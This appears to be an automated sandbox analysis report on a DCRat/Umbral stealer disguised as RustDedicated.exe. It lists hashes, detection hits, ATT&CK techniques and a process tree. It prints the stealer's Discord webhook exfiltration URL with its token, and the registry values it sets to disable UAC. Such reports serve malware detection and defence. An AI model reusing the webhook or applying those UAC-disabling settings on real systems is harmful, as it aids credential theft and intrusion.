dcrat | 1aed0b69955713ca30ddcbd0b36ea83aebc10494fc6eafd64175c1a43d1c64c6

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-01-2025 18:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RustDedicated.exe
Size

1.2MB
MD5

80802d3e9eb3978b02891a1846900e64
SHA1

c44fe9d1f8c5f6deabfdcfc1ab9e9d4cff4e5cd8
SHA256

1aed0b69955713ca30ddcbd0b36ea83aebc10494fc6eafd64175c1a43d1c64c6
SHA512

0fabd76a7f746dde9a9326e1a486a7b6f61f542f0f88a20c0092cc6d8385d6f4e768db2ba78317340c70094a5a6c8b319958b5f08efec91c2d258d23bd1026a2
SSDEEP

12288:sJ+ii04vDu/1Hp8CoFxH1sB5jVC6+0AsMLkL57dROq3r3hAj7haqgQY+9LGtYSQe:jin0ulOCoFkA6+0vpwAQhBwYSBYFBav

Score

10^/10

dcrat umbral discovery evasion execution infostealer rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1321941323787534336/9QZ7ndEN5UASj0mWrWCAOScXmVSBbRHDBhUMzvq-egRazh0wo4nXipep05-RC_cgd1Lb

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Detect Umbral payload 7 IoCs

resource	yara_rule
behavioral1/files/0x0036000000015f81-17.dat	family_umbral
behavioral1/memory/2776-20-0x0000000000B30000-0x0000000000B70000-memory.dmp	family_umbral
behavioral1/memory/2348-187-0x0000000000DA0000-0x0000000000DE0000-memory.dmp	family_umbral
behavioral1/memory/2468-283-0x00000000000E0000-0x0000000000120000-memory.dmp	family_umbral
behavioral1/memory/2512-459-0x0000000000290000-0x00000000002D0000-memory.dmp	family_umbral
behavioral1/memory/2728-511-0x0000000000EF0000-0x0000000000F30000-memory.dmp	family_umbral
behavioral1/memory/2428-612-0x0000000000310000-0x0000000000350000-memory.dmp	family_umbral

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	536	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2020	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2156	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1572	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2508	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2004	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1268	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1148	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1084	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1048	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1496	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2104	1760	schtasks.exe	50
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	1760	schtasks.exe	50

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	surrogatehost.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0008000000016307-32.dat	dcrat
behavioral1/files/0x0007000000016aa9-75.dat	dcrat
behavioral1/memory/1592-80-0x0000000000330000-0x0000000000430000-memory.dmp	dcrat
behavioral1/memory/1616-181-0x0000000000A80000-0x0000000000B80000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe
1644	powershell.exe
1748	powershell.exe
1328	powershell.exe
2620	powershell.exe
3068	powershell.exe
2468	powershell.exe
2124	powershell.exe
2824	powershell.exe
2924	powershell.exe
976	powershell.exe
2072	powershell.exe
320	powershell.exe
2324	powershell.exe
348	powershell.exe
2980	powershell.exe
1576	powershell.exe
2976	powershell.exe
2532	powershell.exe
1680	powershell.exe
2220	powershell.exe
2156	powershell.exe
908	powershell.exe
1132	powershell.exe
1956	powershell.exe
1084	powershell.exe

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 64 IoCs

pid	Process
2800	fixermachine.exe
2364	fixermachine.exe
2776	Umbral.exe
2616	fix.exe
2884	Umbral.exe
2640	fixermachine.exe
2100	fix.exe
1492	ыв.exe
2952	Umbral.exe
2704	fixermachine.exe
2968	fix.exe
1260	ыв.exe
1732	fixermachine.exe
2688	ыв.exe
1284	Umbral.exe
768	fix.exe
1592	surrogatehost.exe
2504	surrogatehost.exe
2008	fix.exe
1232	Umbral.exe
2984	fixermachine.exe
2500	ыв.exe
2980	surrogatehost.exe
2832	ыв.exe
2660	fixermachine.exe
2816	Umbral.exe
2224	fix.exe
1084	surrogatehost.exe
2100	fixermachine.exe
1524	fix.exe
1592	Umbral.exe
1616	cmd.exe
2192	ыв.exe
2212	surrogatehost.exe
2348	Umbral.exe
2908	fix.exe
2164	fixermachine.exe
2796	ыв.exe
2444	surrogatehost.exe
2720	ыв.exe
2672	fixermachine.exe
1988	Umbral.exe
2368	fix.exe
984	surrogatehost.exe
2804	fixermachine.exe
1108	Umbral.exe
2452	fix.exe
2612	ыв.exe
2748	surrogatehost.exe
1680	fixermachine.exe
2584	Umbral.exe
2628	fix.exe
1504	ыв.exe
692	surrogatehost.exe
2632	fixermachine.exe
2724	fix.exe
2656	Umbral.exe
1500	ыв.exe
1708	surrogatehost.exe
1664	Umbral.exe
2764	fix.exe
2024	fixermachine.exe
2864	ыв.exe
2288	surrogatehost.exe

Loads dropped DLL 64 IoCs

pid	Process
1520	cmd.exe
1520	cmd.exe
2896	cmd.exe
2400	cmd.exe
1556	cmd.exe
1736	cmd.exe
316	cmd.exe
1956	cmd.exe
1788	cmd.exe
3068	cmd.exe
2512	cmd.exe
2492	cmd.exe
2192	cmd.exe
2212	cmd.exe
804	cmd.exe
1720	cmd.exe
3068	cmd.exe
2332	cmd.exe
2288	cmd.exe
2744	cmd.exe
2908	cmd.exe
1568	cmd.exe
800	cmd.exe
2352	cmd.exe
2332	cmd.exe
868	cmd.exe
2960	cmd.exe
2224	cmd.exe
2636	cmd.exe
984	cmd.exe
2444	cmd.exe
2216	cmd.exe
2532	cmd.exe
2848	cmd.exe
1804	cmd.exe
1628	cmd.exe
2992	cmd.exe
2476	cmd.exe
2648	cmd.exe
2160	cmd.exe
2064	cmd.exe
1708	cmd.exe
2804	cmd.exe
2104	cmd.exe
1100	cmd.exe
2656	cmd.exe
296	cmd.exe
3048	cmd.exe
2220	cmd.exe
2944	cmd.exe
2932	cmd.exe
1244	cmd.exe
1600	cmd.exe
1048	cmd.exe
2608	cmd.exe
3040	cmd.exe
1744	cmd.exe
2152	cmd.exe
2928	cmd.exe
2648	cmd.exe
1668	cmd.exe
2476	cmd.exe
2876	cmd.exe
2604	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	surrogatehost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs

Web Service

T1102

flow	ioc
34	discord.com
43	discord.com
50	discord.com
51	discord.com
42	discord.com
9	discord.com
10	discord.com
17	discord.com
18	discord.com
26	discord.com
27	discord.com
35	discord.com

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	ip-api.com
47	ip-api.com
55	ip-api.com
6	ip-api.com
14	ip-api.com
23	ip-api.com
31	ip-api.com

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Defender\de-DE\System.exe	surrogatehost.exe
File created	C:\Program Files\Windows Defender\de-DE\27d1bcfc3c54e0	surrogatehost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 12 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
908	PING.EXE
1152	cmd.exe
2116	PING.EXE
1532	cmd.exe
2956	cmd.exe
1632	PING.EXE
2144	PING.EXE
2400	cmd.exe
1328	PING.EXE
984	PING.EXE
2192	cmd.exe
3048	cmd.exe

Detects videocard installed 1 TTPs 6 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3052	wmic.exe
1652	wmic.exe
1996	wmic.exe
1376	wmic.exe
1800	wmic.exe
2452	wmic.exe

Runs ping.exe 1 TTPs 6 IoCs

Remote System Discovery

T1018

pid	Process
1632	PING.EXE
908	PING.EXE
2144	PING.EXE
1328	PING.EXE
2116	PING.EXE
984	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1496	schtasks.exe
2232	schtasks.exe
2492	schtasks.exe
2020	schtasks.exe
1148	schtasks.exe
1572	schtasks.exe
2508	schtasks.exe
1920	schtasks.exe
2104	schtasks.exe
536	schtasks.exe
2156	schtasks.exe
1048	schtasks.exe
2004	schtasks.exe
1268	schtasks.exe
1084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
2776	Umbral.exe
1680	powershell.exe
1764	powershell.exe
3068	powershell.exe
1592	surrogatehost.exe
2740	powershell.exe
2468	powershell.exe
2348	Umbral.exe
2220	powershell.exe
348	powershell.exe
2124	powershell.exe
2224	powershell.exe
1644	powershell.exe
2468	Umbral.exe
2156	powershell.exe
1748	powershell.exe
2072	powershell.exe
1620	powershell.exe
2980	powershell.exe
2512	Umbral.exe
908	powershell.exe
320	powershell.exe
1576	powershell.exe
292	powershell.exe
2824	powershell.exe
2728	Umbral.exe
1132	powershell.exe
2924	powershell.exe
1328	powershell.exe
2248	powershell.exe
976	powershell.exe
3044	Umbral.exe
1956	powershell.exe
2976	powershell.exe
2324	powershell.exe
2964	powershell.exe
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	Umbral.exe
Token: SeIncreaseQuotaPrivilege	3008	wmic.exe
Token: SeSecurityPrivilege	3008	wmic.exe
Token: SeTakeOwnershipPrivilege	3008	wmic.exe
Token: SeLoadDriverPrivilege	3008	wmic.exe
Token: SeSystemProfilePrivilege	3008	wmic.exe
Token: SeSystemtimePrivilege	3008	wmic.exe
Token: SeProfSingleProcessPrivilege	3008	wmic.exe
Token: SeIncBasePriorityPrivilege	3008	wmic.exe
Token: SeCreatePagefilePrivilege	3008	wmic.exe
Token: SeBackupPrivilege	3008	wmic.exe
Token: SeRestorePrivilege	3008	wmic.exe
Token: SeShutdownPrivilege	3008	wmic.exe
Token: SeDebugPrivilege	3008	wmic.exe
Token: SeSystemEnvironmentPrivilege	3008	wmic.exe
Token: SeRemoteShutdownPrivilege	3008	wmic.exe
Token: SeUndockPrivilege	3008	wmic.exe
Token: SeManageVolumePrivilege	3008	wmic.exe
Token: 33	3008	wmic.exe
Token: 34	3008	wmic.exe
Token: 35	3008	wmic.exe
Token: SeIncreaseQuotaPrivilege	3008	wmic.exe
Token: SeSecurityPrivilege	3008	wmic.exe
Token: SeTakeOwnershipPrivilege	3008	wmic.exe
Token: SeLoadDriverPrivilege	3008	wmic.exe
Token: SeSystemProfilePrivilege	3008	wmic.exe
Token: SeSystemtimePrivilege	3008	wmic.exe
Token: SeProfSingleProcessPrivilege	3008	wmic.exe
Token: SeIncBasePriorityPrivilege	3008	wmic.exe
Token: SeCreatePagefilePrivilege	3008	wmic.exe
Token: SeBackupPrivilege	3008	wmic.exe
Token: SeRestorePrivilege	3008	wmic.exe
Token: SeShutdownPrivilege	3008	wmic.exe
Token: SeDebugPrivilege	3008	wmic.exe
Token: SeSystemEnvironmentPrivilege	3008	wmic.exe
Token: SeRemoteShutdownPrivilege	3008	wmic.exe
Token: SeUndockPrivilege	3008	wmic.exe
Token: SeManageVolumePrivilege	3008	wmic.exe
Token: 33	3008	wmic.exe
Token: 34	3008	wmic.exe
Token: 35	3008	wmic.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	1592	surrogatehost.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2504	surrogatehost.exe
Token: SeDebugPrivilege	2980	surrogatehost.exe
Token: SeIncreaseQuotaPrivilege	2204	wmic.exe
Token: SeSecurityPrivilege	2204	wmic.exe
Token: SeTakeOwnershipPrivilege	2204	wmic.exe
Token: SeLoadDriverPrivilege	2204	wmic.exe
Token: SeSystemProfilePrivilege	2204	wmic.exe
Token: SeSystemtimePrivilege	2204	wmic.exe
Token: SeProfSingleProcessPrivilege	2204	wmic.exe
Token: SeIncBasePriorityPrivilege	2204	wmic.exe
Token: SeCreatePagefilePrivilege	2204	wmic.exe
Token: SeBackupPrivilege	2204	wmic.exe
Token: SeRestorePrivilege	2204	wmic.exe
Token: SeShutdownPrivilege	2204	wmic.exe
Token: SeDebugPrivilege	2204	wmic.exe
Token: SeSystemEnvironmentPrivilege	2204	wmic.exe
Token: SeRemoteShutdownPrivilege	2204	wmic.exe
Token: SeUndockPrivilege	2204	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2748	3068	RustDedicated.exe	30
PID 3068 wrote to memory of 2748	3068	RustDedicated.exe	30
PID 3068 wrote to memory of 2748	3068	RustDedicated.exe	30
PID 3068 wrote to memory of 2800	3068	RustDedicated.exe	31
PID 3068 wrote to memory of 2800	3068	RustDedicated.exe	31
PID 3068 wrote to memory of 2800	3068	RustDedicated.exe	31
PID 2748 wrote to memory of 2608	2748	RustDedicated.exe	32
PID 2748 wrote to memory of 2608	2748	RustDedicated.exe	32
PID 2748 wrote to memory of 2608	2748	RustDedicated.exe	32
PID 2748 wrote to memory of 2364	2748	RustDedicated.exe	33
PID 2748 wrote to memory of 2364	2748	RustDedicated.exe	33
PID 2748 wrote to memory of 2364	2748	RustDedicated.exe	33
PID 2800 wrote to memory of 2776	2800	fixermachine.exe	34
PID 2800 wrote to memory of 2776	2800	fixermachine.exe	34
PID 2800 wrote to memory of 2776	2800	fixermachine.exe	34
PID 2800 wrote to memory of 2616	2800	fixermachine.exe	35
PID 2800 wrote to memory of 2616	2800	fixermachine.exe	35
PID 2800 wrote to memory of 2616	2800	fixermachine.exe	35
PID 2608 wrote to memory of 376	2608	RustDedicated.exe	36
PID 2608 wrote to memory of 376	2608	RustDedicated.exe	36
PID 2608 wrote to memory of 376	2608	RustDedicated.exe	36
PID 2364 wrote to memory of 2884	2364	fixermachine.exe	37
PID 2364 wrote to memory of 2884	2364	fixermachine.exe	37
PID 2364 wrote to memory of 2884	2364	fixermachine.exe	37
PID 2608 wrote to memory of 2640	2608	RustDedicated.exe	38
PID 2608 wrote to memory of 2640	2608	RustDedicated.exe	38
PID 2608 wrote to memory of 2640	2608	RustDedicated.exe	38
PID 2364 wrote to memory of 2100	2364	fixermachine.exe	39
PID 2364 wrote to memory of 2100	2364	fixermachine.exe	39
PID 2364 wrote to memory of 2100	2364	fixermachine.exe	39
PID 2616 wrote to memory of 1492	2616	fix.exe	40
PID 2616 wrote to memory of 1492	2616	fix.exe	40
PID 2616 wrote to memory of 1492	2616	fix.exe	40
PID 2616 wrote to memory of 1492	2616	fix.exe	40
PID 1492 wrote to memory of 1924	1492	ыв.exe	41
PID 1492 wrote to memory of 1924	1492	ыв.exe	41
PID 1492 wrote to memory of 1924	1492	ыв.exe	41
PID 1492 wrote to memory of 1924	1492	ыв.exe	41
PID 376 wrote to memory of 2908	376	RustDedicated.exe	42
PID 376 wrote to memory of 2908	376	RustDedicated.exe	42
PID 376 wrote to memory of 2908	376	RustDedicated.exe	42
PID 376 wrote to memory of 2704	376	RustDedicated.exe	43
PID 376 wrote to memory of 2704	376	RustDedicated.exe	43
PID 376 wrote to memory of 2704	376	RustDedicated.exe	43
PID 2640 wrote to memory of 2952	2640	fixermachine.exe	44
PID 2640 wrote to memory of 2952	2640	fixermachine.exe	44
PID 2640 wrote to memory of 2952	2640	fixermachine.exe	44
PID 2640 wrote to memory of 2968	2640	fixermachine.exe	45
PID 2640 wrote to memory of 2968	2640	fixermachine.exe	45
PID 2640 wrote to memory of 2968	2640	fixermachine.exe	45
PID 2100 wrote to memory of 1260	2100	fix.exe	46
PID 2100 wrote to memory of 1260	2100	fix.exe	46
PID 2100 wrote to memory of 1260	2100	fix.exe	46
PID 2100 wrote to memory of 1260	2100	fix.exe	46
PID 1260 wrote to memory of 2444	1260	ыв.exe	47
PID 1260 wrote to memory of 2444	1260	ыв.exe	47
PID 1260 wrote to memory of 2444	1260	ыв.exe	47
PID 1260 wrote to memory of 2444	1260	ыв.exe	47
PID 2776 wrote to memory of 3008	2776	Umbral.exe	48
PID 2776 wrote to memory of 3008	2776	Umbral.exe	48
PID 2776 wrote to memory of 3008	2776	Umbral.exe	48
PID 2776 wrote to memory of 2432	2776	Umbral.exe	51
PID 2776 wrote to memory of 2432	2776	Umbral.exe	51
PID 2776 wrote to memory of 2432	2776	Umbral.exe	51

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	surrogatehost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1556	attrib.exe
3020	attrib.exe
1744	attrib.exe
2432	attrib.exe
976	attrib.exe
1124	attrib.exe
1804	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
"C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
  "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
    "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
      "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:376
    - - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        5⤵
        
        PID:2908
      - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        6⤵
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        7⤵
        
        PID:924
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        8⤵
        
        PID:2632
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        9⤵
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        10⤵
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        11⤵
        
        PID:2780
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        12⤵
        
        PID:1964
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        13⤵
        
        PID:1048
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        14⤵
        
        PID:2808
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        15⤵
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
